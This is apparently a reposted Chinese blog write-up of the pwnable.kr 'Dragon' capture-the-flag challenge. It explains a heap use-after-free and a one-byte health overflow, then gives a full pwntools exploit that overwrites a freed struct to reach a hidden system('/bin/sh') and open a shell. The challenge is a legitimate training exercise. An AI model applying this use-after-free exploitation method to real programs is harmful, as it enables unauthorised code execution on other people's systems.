Pwnable.kr

Dragon —— 堆之 uaf

开始堆的学习之旅。

  uaf漏洞利用到了堆的管理中fastbin的特性,关于堆的各种分配方式参见堆之*bin理解

  在SecretLevel函数中,发现了隐藏的system("/bin/sh")调用,虽然无法直接执行,但无疑会是后续进展中的有力武器。

  在和恐龙战斗的函数结束部分,发现了free掉但没有置空的free(dragon)语句,而在对战胜利后恰有开辟相同大小的空间,并自主写入的部分,由此产生了uaf漏洞。

  >>在将dragon的结构体free之后,所指的内存空间会“挂”在fastbin数组下等待下次调用,而没有置空的、原来指向被free空间的dragon指针仍然指向该空间,仍可以在函数中被使用,而之后v2申请的大小和被free的空间的大小相同,会优先从fastbin数组中“摘下来”,此时v2和dragon指针都指向同一块内存空间,所以可以通过对v2的输入和对dragon的调用,实现任意代码执行,所以只要将之前的system(“/bin/sh”)段的地址写入v2,就能获得shell

  这个游戏无法通过正常操作获得胜利,但是龙的生命只有一个byte即最多达到127,不断增长的情况下就可能实现溢出导致生命为负,使用有无敌和回技能点的第一个英雄配合母龙很容易达到。

exp:

 1 #!/usr/bin/env python
 2 # -*-coding=utf-8-*-
 3 from pwn import *
 4 # context.log_level = 'debug'
 5 # io = process("./dragon")
 6 io = remote("pwnable.kr",9004)
 7 elf = ELF("./dragon")
 8 
 9 binsh = 0x804935c
10 sys_addr = elf.symbols["system"]
11 call_sys = 0x8048dbf
12 # to pretend to be defeated at first
13 io.recvuntil("night\n")
14 io.sendline("1")
15 io.recvuntil("cible.\n")
16 io.sendline("1")
17 io.recvuntil("cible.\n")
18 io.sendline("1")
19 io.recvuntil("night\n")
20 io.sendline("1")
21 # to track the mom dragon come out and make it overflow
22 for i in range (4):
23     io.recvuntil("ble.\n")
24     io.sendline("3")
25     io.recvuntil("ble.\n")
26     io.sendline("3")
27     io.recvuntil("ble.\n")
28     io.sendline("2")
29 io.recvuntil("As:\n")
30 # payload = p32(sys_addr) + p32(binsh)
31 payload = p32(call_sys) + '\x00'*8
32 io.send(payload)
33 io.interactive()
View Code

 

转载于:https://www.cnblogs.com/ZHijack/p/8859208.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值